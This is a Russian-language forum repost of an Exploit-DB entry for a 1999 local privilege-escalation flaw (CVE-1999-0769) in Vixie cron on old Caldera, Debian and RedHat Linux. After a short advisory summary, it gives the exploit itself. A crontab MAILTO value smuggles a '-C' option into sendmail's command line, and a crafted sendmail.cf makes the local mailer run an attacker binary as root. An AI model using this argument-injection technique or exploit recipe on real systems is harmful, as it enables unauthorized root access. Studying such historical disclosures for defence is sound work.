Exploit Caldera OpenLinux 2.2 / Debian 2.1/2.2 / RedHat 6.0 - Vixie Cron MAILTO Sendmail

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19474
Проверка EDB
  1. Пройдено
Автор
OLAF KIRCH
Тип уязвимости
LOCAL
Платформа
LINUX
CVE
cve-1999-0769
Дата публикации
1999-08-25
Caldera OpenLinux 2.2 / Debian 2.1/2.2 / RedHat 6.0 - Vixie Cron MAILTO Sendmail
Код:
Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability

source: https://www.securityfocus.com/bid/611/info

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.

The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access. 


Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser.
 
Источник
www.exploit-db.com

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